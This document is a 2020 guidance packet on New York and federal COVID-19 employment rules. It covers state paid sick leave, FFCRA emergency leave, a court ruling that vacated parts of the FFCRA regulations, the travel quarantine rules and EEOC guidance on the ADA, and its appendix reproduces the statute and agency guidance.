• Provides that non-disclosure agreements may not prohibit the disclosure of the underlying facts and circumstances to the claim or action, unless the condition of confidentiality is the plaintiff’s preference in all types of harassment cases;
• Prohibits mandatory arbitration to resolve cases of harassment (not just sexual harassment).

Effective January 1, 2020:
• Provides that settlements of employment discrimination claims cannot prevent complainants from speaking to an attorney, the Division of Human Rights, the EEOC, local human rights commissions, or any other form of law enforcement.

Effective (and applicable to claims filed on or after) February 8, 2020:
• Provides that the Human Rights Law covers all employers in the state, regardless of size, and specifically includes state and political subdivisions of the state (removing the prior 4-employee minimum).

Effective August 12, 2020
• Expands the time for filing a complaint with the Division of Human Rights from one year to three years for sexual harassment cases.
I. LEAVE ISSUES

A. NEW YORK STATE COVID-19 PAID LEAVE

New York passed a law on March 18, 2020 providing paid sick leave and job protection to employees quarantined or for whom isolation is recommended. (S8091; Law attached in Appendix.)

**Leave Entitlement:** Public employers (regardless of size) are required to provide at least 14 days of paid sick leave to employees who are subject to a mandatory or precautionary order of quarantine or isolation issued by the State of New York, state or local department/board of health, or any governmental entity authorized to issue such orders due to COVID-19 (“quarantine or isolation.”)\(^1\)

**Work-From-Home Employees:** An employee who is asymptomatic or has not been diagnosed with a medical condition, and can work remotely during a quarantine or isolation, is not entitled to such leave.

**Compensation and Accrued Leave:** The employee must be compensated at their regular rate of pay for those regular work hours during which the employee is absent due to quarantine or isolation. The employee cannot be charged accrued sick leave.

**Interaction with CBA:** The law does not diminish any rights to greater benefits under a CBA or employer policy.

**Return to Work Requirements:** Employees must be returned to their position with the same pay and benefits when they return to work. Retaliation or penalization of an employee for taking this leave is prohibited.

**Interaction with Other State Leave Benefits:** Once all paid sick leave is exhausted, employees who cannot perform their duties because of quarantine or isolation or who are needed to care for a family member for these reasons are entitled to short-term disability and/or paid family leave under state law where the employer has opted to provide those benefits.

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\(^1\) An exception applies to an employee who is subject to quarantine because they are returning from a country which the CDC deemed a level two or three warning level, they were provided with notice of that threat beforehand, and they went on their own (not at the direction of the employer or as part of their job duties.) A temporary exception applies for employees returning from states on the travel advisory list which require 2-weeks of quarantine upon return, and who have had notice beforehand that they were traveling to a state on this list and went on their own.
Unemployment Insurance: The waiting periods normally applicable to collect unemployment benefits is waived for individuals applying for these benefits because of a closure of an employer for COVID-19-related reasons due to a mandatory order of a government entity authorized to issue such order.

Interaction with Federal Legislation: Any federal benefits equal or greater than those in this bill will apply. In the event the provisions of the state law would provide leave and/or benefits in excess of the benefits provided under federal law, employees are entitled to the “difference” of the state law benefits.

i. NYS Department of Health Guidance – COVID-19 Sick Leave for Health Care Employers

On June 25, 2020, the NYS Department of Health and NYS Department of Labor provided a jointly-issued guidance on the use of NYS COVID-19 sick leave by health care employees. (Guidance attached in Appendix.)

The Guidance defines “health care employee,” and the goes on to state that, for those employees:

1. A health care employee who returns to work following a mandatory quarantine or isolation and subsequently receives a positive COVID-19 diagnosis must not return to work. The employee “shall be deemed subject to a mandatory isolation order from the Department of Health and shall be entitled to sick leave” under the NYS law whether or not they have already received sick leave for the first quarantine period. The employee must submit documentation of the positive test (unless the test was administered by their employer.)

2. If the health care employee subject to an order of quarantine or isolation but continues to test positive at the end of the quarantine or isolation period, they must not return to work. The employee “will be deemed subject to a second mandatory order of quarantine or isolation from the Department of Health and shall be entitled to sick leave” under the NYS law. The employee must submit documentation attesting they have received a positive test for COVID-19 after completing the initial isolation/quarantine period (unless the test was administered by their employer.)

3. The health care employee may not qualify for sick leave under NYS COVID-19 sick leave law for more than three orders of quarantine or isolation. The 2nd and 3rd order must be based on a positive COVID-19 test.
B. FEDERAL EMERGENCY LEAVE LAW

In addition to the leave discussed above, a new federal law has also provided for paid leave benefits for two weeks at full pay for employees for certain COVID-related absences, and two week and 2/3 pay for additional types of COVID-related absences. The law extends FMLA benefits to employees who need to stay home due to a school closure. The employer can exempt certain health care workers and emergency responders from the emergency paid leave provisions.

i. EMERGENCY PAID SICK LEAVE ("EPSL")

**Effective Date:** The emergency paid leave provisions are in effect until December 31, 2020.

**Eligible Employees:** Available regardless of how long the employee has been employed.

**Amount of Paid Leave:** Full-time employees are entitled to 80 hours (2 weeks). Part-time employees are entitled to a 2-week equivalent of the hours they normally work for qualifying reasons.

**Pay Calculation:** Pay must be provided at:
- Full pay UP TO $511/day and $5,110 total for leave under items 1-3;
- 2/3 pay UP TO $200/day and $2,000 total for leave under item 4-6.

Pay is calculated based on the regular rate of pay and number of hours the employee would be normally scheduled to work.

**QUALIFYING FOR EMERGENCY PAID LEAVE:**

An employer shall provide paid leave where the employee is unable to work (or telework) because:

1. They are subject to a federal, state, or local quarantine or isolation COVID-19 order;
2. They have been advised by a health care provider to self-quarantine due to COVID-19 concern;
3. They are experiencing COVID-19 symptoms and seeking a medical diagnosis;
4. They are caring for an individual who is subject to a federal, state or local quarantine or isolation order or have been advised by a health care provider to self-quarantine;
5. They are caring for their child because the school or place of care of the child has been closed, or the childcare provider is unavailable due to COVID-19;
6. They are experiencing other “substantially similar” conditions as determined by the federal Health and Human Services, Department of Labor and Department of Treasury. (So far, no such conditions have been specified.)

**Interaction with State Law:** There is overlap with the state-required 2 weeks of leave ONLY for employees subject to a mandatory or precautionary order of quarantine or isolation issued by the State of New York, state or local department/board of health, or any governmental entity authorized to issue such orders due to COVID-19. Employees may not use both, but may use the more generous of the two.

**Interaction with Existing Leave Entitlements:** These provisions cannot diminish any rights or benefits the employee is entitled to under state or local law, CBA, or existing employer policy.
ii. **EMERGENCY PAID FAMILY MEDICAL LEAVE ("EPFML")**

**NEW (TEMPORARY) QUALIFYING REASON FOR FMLA LEAVE:** Through the end of 2020, a new qualifying reason for leave under the FMLA will be added in situations, like our current one, where a public health emergency has been declared with respect to the coronavirus by either federal, state or local authority. It includes diminished eligibility requirements.

<table>
<thead>
<tr>
<th>FMLA QUALIFYING REASON – NEED RELATED TO COVID-19 PUBLIC HEALTH EMERGENCY: Where the employee is unable to work (or telework) due to the need to care for a son or daughter (under 18) whose school or place of care has been closed, or the child care provider is unavailable, due to public health emergency.</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Effective Date:</strong> Through December 31, 2020.</td>
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<tr>
<td><strong>Eligible Employees:</strong> Any employee who has been employed for at least 30 days. (The requirement that the employee work 1,250 hours and be employed for 12 months does not apply.)</td>
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<tr>
<td><strong>Relationship to Paid Leave:</strong></td>
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<tr>
<td>• The first 10 days of leave may be unpaid. An employee may elect to substitute accrued leave (vacation, personal, sick) but the employer cannot require substitution. (Note this leave may paid, however, using EPSL as described above.)</td>
</tr>
<tr>
<td>• After the first 10 days, the employer must provide paid leave for each day of leave up to the 12-week allotment, at not less than 2/3 of the employee’s regular rate of pay under the FLSA their normally scheduled work UP TO $200/day and $12,000 in total for the full 12 weeks.</td>
</tr>
<tr>
<td><strong>Interaction with Traditional FMLA:</strong> Any use of EPFML by an employee counts toward the 12-weeks of FMLA leave they are entitled to for any qualifying reason in a 12-month period. An employee can take a maximum of 12 weeks of EPFML during the period this leave is active (4/2/202/31/20) even if that period spans two FMLA leave 12-month periods.</td>
</tr>
<tr>
<td><strong>Pay Calculation:</strong> The initial 2 weeks of leave can be unpaid, but the employee can concurrently use the 2/3 pay of EPSL for those two weeks if they have it available. After that, the remainder of the leave is also paid at 2/3 pay.² The pay is capped at $200/day up to $10,000 for the additional 10 weeks, and $200/day up to $2,000 for the first two weeks when running concurrently with EPSL.</td>
</tr>
<tr>
<td><strong>Interaction with EPSL:</strong> An employee caring for a child whose school or place of care is closed or unavailable may be eligible to take leave both EPSL and EPFML. If so, the benefits run concurrently. They can be paid for the first two weeks under the EPSL, and then if they have a balance of FMLA time, can take up to an additional 10 weeks.</td>
</tr>
</tbody>
</table>

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² An employee who has exhausted their 12 weeks of FMLA may still take up to 2 weeks of EPSL unless it has already been used for another EPSL reason.
**Interaction with Accrued Paid Leave:** An employee taking EPFML may take EPSL to be paid during the first two weeks, or may substitute accrued leave and be paid at full pay. After the first two weeks, the employee may elect or the employer may require the employee to take the remaining EPFML at the same time as existing paid leave that would be available to them for that reason and be paid at full pay. The employee and employer may also agree to supplement the 2/3 pay with accrued leave so the employee receives full pay at any time during the 12 weeks.

### iii. NEW FFCRA GUIDANCE REGARDING FALL SCHOOL OPTIONS

**When is a school or place of care “closed”?**

**Hybrid:** If a school is operating on a hybrid-attendance basis (each student can only be present on certain days), the parent is eligible to take leave under the FFCRA on days when the child is not permitted to attend in-person. The school is “closed” to a child on days the child cannot attend in person.

**Parent Choice:** If the school gives parents the choice of whether the child will attend in person or remotely, the parent is not eligible to take leave under the FFCRA because the school is not “closed.” However, if a child is under a quarantine order or has been advised by a health care provider to self-isolate or self-quarantine, the parent may be entitled to EPSL (for up to two weeks.)

**Intermittent Leave:** EPSL and EPFML can only be taken intermittently for reason (5) above - caring for a child whose school/day care is closed, and only if the employer and employee agree. Intermittently leave could not be taken for leaves (1)-(4) above.³

### iv. DISCRETION FOR EXCLUSION OF EMPLOYEES FROM FFCRA

An employer who employs a health care provider or emergency responder may exempt those employees from EPSL and/or EPFML. These are defined as follows:

**Health care provider:** anyone employed by a doctor’s office, hospital, health care center, clinic, post-secondary educational institution offering health care instruction, medical school, local health department or agency, nursing facility, retirement facility, nursing home, home health care provider, any facility that performs laboratory or medical testing, pharmacy, or any similar institution, employer or entity. This includes a permanent or temporary institution, facility, location, or site where medical services are provided that are similar to such institutions.⁴

**Emergency responders:** anyone necessary for the provision of transport, care, healthcare, comfort and nutrition of such patients, or others needed for the response to COVID-19. This includes, but is not limited to, military or national guard, law enforcement officers, correctional institution personnel, fire fighters, emergency medical services personnel, physicians, nurses, public health personnel, emergency medical technicians, paramedics, emergency management personnel, 911 operators, child welfare workers and service providers, public works personnel, and persons with skills or training in operating specialized

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³ See SDNY decision discussed below.
⁴ See SDNY case below.
equipment or other skills needed to provide aid in a declared emergency, as well as individuals who work for such facilities employing those individuals and whose work is necessary to maintain the operation of the facility.

v. REPORTING TO NYS RETIREMENT SYSTEM

The Office of the NYS Comptroller has issued guidance on how employees on furlough, paid leave, or FFCRA leave should be tracked and reported to the NYS Retirement System for purposes of determining service credit. (Full Guidance Attached in Appendix.)

vi. TELEWORK

Employees are only entitled to NYS COVID-19 sick leave, ESPL and/or EPFML if they are not able to work OR telework due to a COVID-19 related reason. This is an important distinction.

The term “telework” means work the employer permits/allows the employee to perform while at home or a location other than their normal workplace. An employee is able to telework if:

1. Their employer has work for them;
2. The employer permits the employee to work from that location; and
3. There are no extenuating circumstances that prevent the employee from performing that telework.
   (Ex: power outage, COVID-19 symptoms)

Note: The DOL has issued guidance on employers’ obligations for tracking compensable hours for employees who are teleworking. (Field Assistance Bulletin No. 202-5; Attached in Appendix.)

vii. NYS CASE VACATING PORTIONS OF THE FFCRA REGULATIONS

The NYS Attorney General challenged portions of the FFCRA regulations earlier this year. On August 3, 2020, a federal district court in the Southern District of New York struck down four portions of the DOL-issued regulations as overly broad. (NY v. DOL; 20-CV-3020; Case attached in Appendix.)

1. In defining a health care provider who can be exempted from coverage under the FFCRA, the inclusion of “anyone employed at” a doctor’s office, hospital, medical school, or facilities “where medical services are provided” is too broad, according to the court.
2. The FFCRA regulations state that leave is not available to employees where the employer does not have work for that employee, which the DOL argued was intended to exclude those employees who would not be able to work regardless of the FFCRA reason for leave. The court found this requirement is not a permissible interpretation of the statute.

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5 See SDNY decision discussed below.
3. The regulations permit employees using FFCRA leave to care of a child home due to a school closure to use the leave intermittently, only if the employer and employee agree. The court found:
   a. Leave does not need to be taken in a single block with the remainder being forfeit, but can instead be taken in various blocks for separate qualifying reasons.
   b. The requirement that the employer agree to intermittent use is impermissible.
4. The regulations also require employees to provide certain documentation/information prior to taking leave. The court also struck down this provision, as the statute requires reasonable notice only after the first workday an employee receives paid sick leave.

II. NYS TRAVEL ADVISORY

New York State Governor Andrew Cuomo, issued Executive Order 205, effective June 25, 2020, which provides, in part:

All travelers entering New York from a state with a positive test rate higher than 10 per 100,000 residents, or higher than a 10% test positivity rate, over a seven day rolling average, will be required to quarantine for a period of 14 days consistent with Department of Health regulations for quarantine.

The Commissioner may issue additional protocols for essential workers, or for other extraordinary circumstances, when quarantine is not possible, provided such measures continue to safeguard the public health.

The list of states subject to the EO travel advisory is updated daily. The Department of Health issued interim guidance and additional protocols, which include differing requirements for essential workers and first responders. (Attached in the Appendix.)

Eligibility For NYS COVID-19 Leave for Travel Quarantine: The Governor clarified in E.O. 202.45 that employees who knowingly undertake voluntary travel to covered states after June 25, 2020 (not taken at the direction of the employer) are not eligible for the 14-day New York State paid COVID-19 sick leave enacted earlier this year.

Eligibility For FFCRA Leave for Travel Quarantine: The FFCRA provides similar leave to NYS COVID-19 leave, but does not carve out a clear exemption for personal travel to an area which the employee knows will subject them to quarantine. The FFCRA provides for leave when the employee is “subject to a quarantine or isolation order” which includes “quarantine, isolation, containment, shelter-in-place, or stay-at-home orders issued by any Federal, State or local government authority that cause the Employee to be unable to work even though his or her Employer has work that the Employee could perform but for the order. This also includes when a Federal, State, or local government authority has advised categories of citizens (e.g. of certain age ranges or of certain medical conditions) to shelter in place, stay at home, isolate, or quarantine, causing those categories of employees to be unable to work even though their

6 It is unclear whether these guidelines apply to personal travel between states by these workers, or only official travel.
employers have work for them.” The federal law does not speak to either voluntary or mandatory travel to highly affected areas at all.

The employee qualifies only if, but for being subject to the order, he or she would be able to perform work that is otherwise allowed or permitted by his/her employer, either at the normal workplace or by telework. The DOL Q&A on emergency paid sick leave states that an employee who decides to self-quarantine for two weeks without advice from a health care provider to do so and without seeking medical diagnosis for symptoms would not be entitled to the leave.

It is possible employees would qualify for FFCRA leave while subject to travel quarantine, although the DOL has yet to address the issue formally.

**Can I require employees who are subject to this quarantine to telework?** Yes. An employee who is not sick and able to telework is not entitled to either NYS COVID Leave or FFCRA Emergency Paid Sick Leave and can be required to do so.

### III. EEOC Guidance on Employment Issues, COVID-19, ADA and Other Laws


Some relevant updates added on September 8, 2020 include:

**A.13. May an employer ask an employee why he or she has been absent from work?** *(9/8/20; adapted from Pandemic Preparedness Question 15)*

Yes. Asking why an individual did not report to work is not a disability-related inquiry. An employer is always entitled to know why an employee has not reported for work.

**A.14. When an employee returns from travel during a pandemic, must an employer wait until the employee develops COVID-19 symptoms to ask questions about where the person has traveled?** *(9/8/20; adapted from Pandemic Preparedness Question 8)*

No. Questions about where a person traveled would not be disability-related inquiries. If the CDC or state or local public health officials recommend that people who visit specified locations remain at home for a certain period of time, an employer may ask whether employees are returning from these locations, even if the travel was personal.
B.5. Suppose a manager learns that an employee has COVID-19, or has symptoms associated with the disease. The manager knows she must report it but is worried about violating ADA confidentiality. What should she do? (9/8/20; adapted from 3/27/20 Webinar Question 5)

The ADA requires that an employer keep all medical information about employees confidential, even if that information is not about a disability. Clearly, the information that an employee has symptoms of, or a diagnosis of, COVID-19, is medical information. But the fact that this is medical information does not prevent the manager from reporting to appropriate employer officials so that they can take actions consistent with guidance from the CDC and other public health authorities.

The question is really what information to report: is it the fact that an employee—unnamed—has symptoms of COVID-19 or a diagnosis, or is it the identity of that employee? Who in the organization needs to know the identity of the employee will depend on each workplace and why a specific official needs this information. Employers should make every effort to limit the number of people who get to know the name of the employee.

The ADA does not interfere with a designated representative of the employer interviewing the employee to get a list of people with whom the employee possibly had contact through the workplace, so that the employer can then take action to notify those who may have come into contact with the employee, without revealing the employee’s identity. For example, using a generic descriptor, such as telling employees that “someone at this location” or “someone on the fourth floor” has COVID-19, provides notice and does not violate the ADA’s prohibition of disclosure of confidential medical information. For small employers, coworkers might be able to figure out who the employee is, but employers in that situation are still prohibited from confirming or revealing the employee’s identity. Also, all employer officials who are designated as needing to know the identity of an employee should be specifically instructed that they must maintain the confidentiality of this information. Employers may want to plan in advance what supervisors and managers should do if this situation arises and determine who will be responsible for receiving information and taking next steps.

B.8. Many employees, including managers and supervisors, are now teleworking as a result of COVID-19. How are they supposed to keep medical information of employees confidential while working remotely? (9/8/20; adapted from 3/27/20 Webinar Question 9)

The ADA requirement that medical information be kept confidential includes a requirement that it be stored separately from regular personnel files. If a manager or supervisor receives medical information involving COVID-19, or any other medical information, while teleworking, and is able to follow an employer’s existing confidentiality protocols while working remotely, the supervisor has to do so. But to the extent that is not feasible, the supervisor still must safeguard this information to the greatest extent possible until the supervisor can properly store it. This means that paper notepads, laptops, or other devices should not be left where others can access the protected information.
Similarly, documentation must not be stored electronically where others would have access. A manager may even wish to use initials or another code to further ensure confidentiality of the name of an employee.

D.15. Assume that an employer grants telework to employees for the purpose of slowing or stopping the spread of COVID-19. When an employer reopens the workplace and recalls employees to the worksite, does the employer automatically have to grant telework as a reasonable accommodation to every employee with a disability who requests to continue this arrangement as an ADA/Rehabilitation Act accommodation? (9/8/20; adapted from 3/27/20 Webinar Question 21)

No. Any time an employee requests a reasonable accommodation, the employer is entitled to understand the disability-related limitation that necessitates an accommodation. If there is no disability-related limitation that requires teleworking, then the employer does not have to provide telework as an accommodation. Or, if there is a disability-related limitation but the employer can effectively address the need with another form of reasonable accommodation at the workplace, then the employer can choose that alternative to telework.

To the extent that an employer is permitting telework to employees because of COVID-19 and is choosing to excuse an employee from performing one or more essential functions, then a request—after the workplace reopens—to continue telework as a reasonable accommodation does not have to be granted if it requires continuing to excuse the employee from performing an essential function. The ADA never requires an employer to eliminate an essential function as an accommodation for an individual with a disability.

The fact that an employer temporarily excused performance of one or more essential functions when it closed the workplace and enabled employees to telework for the purpose of protecting their safety from COVID-19, or otherwise chose to permit telework, does not mean that the employer permanently changed a job’s essential functions, that telework is always a feasible accommodation, or that it does not pose an undue hardship. These are fact-specific determinations. The employer has no obligation under the ADA to refrain from restoring all of an employee’s essential duties at such time as it chooses to restore the prior work arrangement, and then evaluating any requests for continued or new accommodations under the usual ADA rules.

IV. Other Helpful Links
- DOL COVID-19 and the American Workplace -
  https://www.dol.gov/agencies/whd/pandemic
- DOL COVID-19 Q&A
  https://www.dol.gov/agencies/whd/pandemic/ffcra-questions
- CDC Guidelines on Travel
- NYS Governor Executive Orders
  https://www.governor.ny.gov/executiveorders
APPENDIX
AN ACT providing requirements for sick leave and the provision of certain employee benefits when such employee is subject to a mandatory or precautionary order of quarantine or isolation due to COVID-19

The People of the State of New York, represented in Senate and Assembly, do enact as follows:

1. Section 1. (a) For employers with ten or fewer employees as of January 1, 2020, each employee who is subject to a mandatory or precautionary order of quarantine or isolation issued by the state of New York, the department of health, local board of health, or any governmental entity duly authorized to issue such order due to COVID-19, shall be provided with unpaid sick leave until the termination of any mandatory or precautionary order of quarantine or isolation due to COVID-19 and any other benefit as provided by any other provision of law. During the period of mandatory or precautionary quarantine or isolation, an employee shall be eligible for paid family leave benefits and benefits due pursuant to disability pursuant to this act.

2. (b) For employers with between eleven and ninety-nine employees as of January 1, 2020, each employee who is subject to a mandatory or precautionary order of quarantine or isolation issued by the state of New York, the department of health, local board of health, or any governmental entity duly authorized to issue such order due to COVID-19, at least five days of paid sick leave and unpaid leave until the termination of any mandatory or precautionary order of quarantine or isolation. After such five days of paid sick leave, an employee shall be eligible for paid family leave benefits and benefits due pursuant to disability pursuant to this act.

EXPLANATION--Matter in italics (underscored) is new; matter in brackets [-] is old law to be omitted.
be provided with at least five days of paid sick leave and unpaid leave until the termination of any mandatory or precautionary order of quarantine or isolation. After such five days of paid sick leave, an employee shall be eligible for paid family leave benefits and benefits due pursuant to disability pursuant to this act.

(c) For employers with one hundred or more employees as of January 1, 2020, each employee who is subject to a mandatory or precautionary order of quarantine or isolation issued by the state of New York, the department of health, local board of health, or any governmental entity duly authorized to issue such order due to COVID-19, shall be provided with at least fourteen days of paid sick leave during any mandatory or precautionary order of quarantine or isolation.

(d) For public employers, each officer or employee who is subject to a mandatory or precautionary order of quarantine or isolation issued by the state of New York, the department of health, local board of health, or any governmental entity duly authorized to issue such order due to COVID-19 shall be provided with at least fourteen days of paid sick leave during any mandatory or precautionary order of quarantine or isolation. Each officer or employee shall be compensated at his or her regular rate of pay for those regular work hours during which the officer or employee is absent from work due to a mandatory or precautionary order of quarantine or isolation due to COVID-19. For purposes of this act, "public employer" shall mean the following: (i) the state; (ii) a county, city, town or village; (iii) a school district, board of cooperative educational services, vocational education and extension board or a school district as enumerated in section 1 of chapter 566 of the laws of 1967, as amended; (iv) any governmental entity operating a college or university; (v) a public improvement or special district including police or fire districts; (vi) a public authority, commission or public benefit corporation; or (vii) any other public corporation, agency, instrumentality or unit of government which exercises governmental power under the laws of this state.

(e) Such leave shall be provided without loss of an officer or employee's accrued sick leave.

2. For purposes of this act, "mandatory or precautionary order of quarantine or isolation" shall mean a mandatory or precautionary order of quarantine or isolation issued by the state of New York, the department of health, local board of health, or any governmental entity duly authorized to issue such order due to COVID-19.

3. Upon return to work following leave taken pursuant to this act, an employee shall be restored by his or her employer to the position of employment held by the employee prior to any leave taken pursuant to this act with the same pay and other terms and conditions of employment. No employer or his or her agent, or the officer or agent of any corporation, partnership, or limited liability company, or any other person, shall discharge, threaten, penalize, or in any other manner discriminate or retaliate against any employee because such employee has taken leave pursuant to this act.

4. An employee shall not receive paid sick leave benefits or any other paid benefits provided by any provisions of this section if the employee is subject to a mandatory or precautionary order of quarantine because the employee has returned to the United States after traveling to a country for which the Centers for Disease Control and Prevention has a level two or three travel health notice and the travel to that country was not taken as part of the employee's employment or at the direction of the employee's employer, and if the employee was provided notice of
the travel health notice and the limitations of this subdivision prior to such travel. Such employee shall be eligible to use accrued leave provided by the employer, or to the extent that such employee does not have accrued leave or sufficient accrued leave, unpaid sick leave shall be provided for the duration of the mandatory or precautionary quarantine or isolation.

5. The commissioner of labor shall have authority to adopt regulations, including emergency regulations, and issue guidance to effectuate any of the provisions of this act. Employers shall comply with regulations promulgated by the commissioner of labor for this purpose which may include, but is not limited to, standards for the use, payment, and employee eligibility of sick leave pursuant to this act.

6. Notwithstanding any other provision of law, and for purposes of this act only, for purposes of article 9 of the workers' compensation law, "disability" shall mean: any inability of an employee to perform the regular duties of his or her employment or the duties of any other employment which his or her employer may offer him or her as a result of a mandatory or precautionary order of quarantine or isolation issued by the state, the department of health, a local board of health, or any government entity duly authorized to issue such order due to COVID-19 and when the employee has exhausted all paid sick leave provided by the employee's employer under this act.

7. Notwithstanding subdivision 1 of section 204 of the workers' compensation law, disability benefits payable pursuant to this act shall be payable on the first day of disability.

8. Notwithstanding any other provision of law, and for purposes of this act only, for purposes of article 9 of the workers' compensation law, "family leave" shall mean: (a) any leave taken by an employee from work when an employee is subject to a mandatory or precautionary order of quarantine or isolation issued by the state, the department of health, a local board of health, or any government entity duly authorized to issue such order due to COVID-19; or (b) to provide care for a minor dependent child of the employee who is subject to a mandatory or precautionary order of quarantine or isolation issued by the state, the department of health, a local board of health, or any government entity duly authorized to issue such order due to COVID-19.

9. Notwithstanding any other provision of law, and for purposes of this act only, for purposes of article 9 of the workers' compensation law, disability and family leave benefits pursuant to this act may be payable concurrently to an eligible employee upon the first full day of an unpaid period of mandatory or precautionary order of quarantine or isolation issued by the state of New York, the department of health, a local board of health, or any government entity duly authorized to issue such order due to COVID-19, provided however, an employee may not collect any benefits that would exceed $840.70 in paid family leave and $2,043.92 in benefits due pursuant to disability per week.

10. Notwithstanding any other provision of law, and for purposes of this act only, for purposes of article 9 of the workers' compensation law, the maximum weekly benefit which the employee is entitled to receive for benefits due pursuant to disability pursuant to subdivision six of this section only shall be the difference between the maximum weekly family leave benefit and such employee's total average weekly wage from each covered employer up to a maximum benefit due pursuant to disability of $2,043.92 per week.

11. Notwithstanding subdivision 7 of section 590, and subdivision 2 of section 607, of the labor law, a claim for benefits under article 18 of
the labor law due to closure of an employer otherwise subject to this
section for a reason related to COVID-19 or due to a mandatory order of
a government entity duly authorized to issue such order to close such
employer otherwise subject to this section, shall not be subject to a
waiting period for a claim for benefits pursuant to such title.

12. A mandatory or precautionary order of quarantine or isolation
issued by the state, the department of health, a local board of health,
or any government entity duly authorized to issue such order due to
COVID-19 shall be sufficient proof of disability or proof of need for
family leave taken pursuant to this act.

13. The provisions of this act shall not apply in cases where an
employee is deemed asymptomatic or has not yet been diagnosed with any
medical condition and is physically able to work while under a mandatory
or precautionary order of quarantine or isolation, whether through
remote access or other similar means.

14. Nothing in this section shall be deemed to impede, infringe,
diminish or impair the rights of a public employee or employer under any
law, rule, regulation or collectively negotiated agreement, or the
rights and benefits which accrue to employees through collective
bargaining agreements, or otherwise diminish the integrity of the exist-
ing collective bargaining relationship, or to prohibit any personnel
action which otherwise would have been taken regardless of any request
to use, or utilization of, any leave provided by this act.

15. Notwithstanding any inconsistent provision of law, on or before
June 1, 2020, the superintendent of financial services by regulation, in
consultation with the director of the state insurance fund and the chair
of the workers' compensation board of the state, shall promulgate regu-
lations necessary for the implementation of a risk adjustment pool to be
administered directly by the superintendent of financial services, in
consultation with the director of the state insurance fund and the chair
of the workers' compensation board of the state. "Risk adjustment pool"
as used in this subdivision shall mean the process used to stabilize
member claims pursuant to this act in order to protect insurers from
disproportionate adverse risks. Disproportionate losses of any members
of the risk adjustment pool in excess of threshold limits established by
the superintendent of financial services of the state may be supported,
if required by the superintendent, by other members of such pool includ-
ing the state insurance fund in a proportion to be determined by the
superintendent. Any such support provided by members of the pool shall
be fully repaid, including reasonable interest, through a mechanism and
period of time to be determined by the superintendent of financial
services.

16. (a) The superintendent of financial services, in consultation
with the director of the state insurance fund and the chair of the work-
ers' compensation board shall issue two reports assessing the risk
adjustment pool required by this act.

(b) On or before January 1, 2022, an initial report shall be provided
to the speaker of the assembly, the chair of the assembly ways and means
committee and the chair of the assembly labor committee, the temporary
president of the senate, the chair of the senate finance committee and
the chair of the senate labor committee. Such report shall include:
the total number of claims filed pursuant to this section for (i) family
leave benefits, and (ii) benefits due to disability, as a result of a
mandatory or precautionary order of quarantine or isolation due to
COVID-19; the aggregate amount of paid family leave claims and disabili-
ty claims; the total amount of the claims paid for out of the risk
adjustment pool; the threshold limits established by the department of financial services; and any other information the superintendent of financial services deems necessary to provide to the legislature.

(c) On or before January 1, 2025, a final report shall be provided to the speaker of the assembly, the chair of the assembly ways and means committee and the chair of the assembly labor committee, the temporary president of the senate, the chair of the senate finance committee and the chair of the senate labor committee. Such report shall include the balance of the risk adjustment pool, if any, the total amount collected through the repayment mechanism established by the department of financial services including interest; and any other information the superintendent of financial services deems necessary to provide to the legislature. If there exists a balance in the risk adjustment pool, the final report shall provide a timeline by which repayment will be completed.

17. If at any point while this section shall be in effect the federal government by law or regulation provides sick leave and/or employee benefits for employees related to COVID-19, then the provisions of this section, including, but not limited to, paid sick leave, paid family leave, and benefits due to disability, shall not be available to any employee otherwise subject to the provisions of this section; provided, however, that if the provisions of this section would have provided sick leave and/or employee benefits in excess of the benefits provided by the federal government by law or regulation, then such employee shall be able to claim such additional sick leave and/or employee benefits pursuant to the provisions of this section in an amount that shall be the difference between the benefits available under this section and the benefits available to such employee, if any, as provided by such federal law or regulation.

§ 2. This act shall take effect immediately.
New York State Department of Health and New York State Department of Labor
Guidance on Use of COVID-19 Sick Leave for Health Care Employers

On March 18, 2020, New York State enacted legislation authorizing sick leave for employees’ subject to a mandatory or precautionary order of quarantine or isolation due to COVID-19. The law provides paid and unpaid sick leave with access to expanded paid family leave and temporary disability depending on the size of the employer. All employees, regardless of the size of their employer, are entitled to job protection upon return from leave.

This document supplements prior guidance on the application of COVID-19 sick leave for health care employees. All prior guidance remains in effect.

1) For purposes of New York’s COVID-19 sick leave law and this guidance, a “health care employee” is a person employed at a doctor’s office, hospital, long-term care facility, outpatient clinic, nursing home, end stage renal disease facility, post-secondary educational institution offering health care instruction, medical school, local health department or agency, assisted living residence, adult care facility, residence for people with developmental disabilities, home health provider, emergency medical services agency, any facility that performs laboratory or medical testing, pharmacy, or any similar institution, including any permanent or temporary institution, facility, location, or site where medical services are provided that are similar to such institutions.

2) A health care employee who returns to work following a period of mandatory quarantine or isolation and who subsequently receives a positive diagnostic test result for COVID-19 must not report to work. The health care employee shall be deemed to be subject to a mandatory order of isolation from the Department of Health and shall be entitled to sick leave as required by New York’s COVID-19 sick leave law, whether or not the health care employee already has received sick leave as required by the law for the first period of quarantine or isolation. However, the health care employee must submit documentation from a licensed medical provider or testing facility attesting that the health care employee has tested positive for COVID-19. The health care employee does not need to submit documentation of a positive result if the health care employee’s employer gave the health care employee the test for COVID-19 that showed the positive result.

3) A health care employee who is subject to an order of quarantine or isolation but continues to test positive for COVID-19 after the end of such quarantine or isolation period must not report to work. The health care employee shall be deemed to be subject to a second mandatory order of isolation from the Department of Health and shall be entitled to sick leave as required by New York’s COVID-19 sick leave law for the second period of isolation. However, the health care employee must submit documentation from a licensed medical provider or testing facility attesting that the health care employee has
received a positive diagnostic test for COVID-19 after completing the initial period of isolation. The health care employee does not need to submit documentation of a positive result if the health care employee’s employer gave the health care employee the test for COVID-19 that showed the positive result.

4) In no event shall a health care employee qualify for sick leave under New York’s COVID-19 sick leave law for more than three orders of quarantine or isolation. The second and third orders must be based on a positive COVID-19 test in accordance with paragraphs 2 and 3.

For additional information about COVID-19, please visit the New York State Department of Health’s coronavirus website at https://coronavirus.health.ny.gov/home. For additional information about New York’s COVID-19 sick leave law, please visit https://ny.gov/COVIDpaysickleave.
COVID-19 Guidance for Employers

These are the NYSLRS guidelines for loan payments and reporting your employees who are furloughed or on leave.

Furloughed employees and loan payments
NYSLRS members who are furloughed and placed on an unpaid leave, may defer their loan payments for 12 months or until they are working again, whichever occurs first.

To be eligible for a deferment, NYSLRS must receive written confirmation of the date an employee was put on leave and the date that the employee is expected to return.

Members must still repay their loan(s) in full within the original five year repayment term. When the member returns to the payroll, or 12 months elapses from the date their leave first began, the member's loan payments will need to be recalculated and increased, to ensure the loan(s) is paid within the five year period.

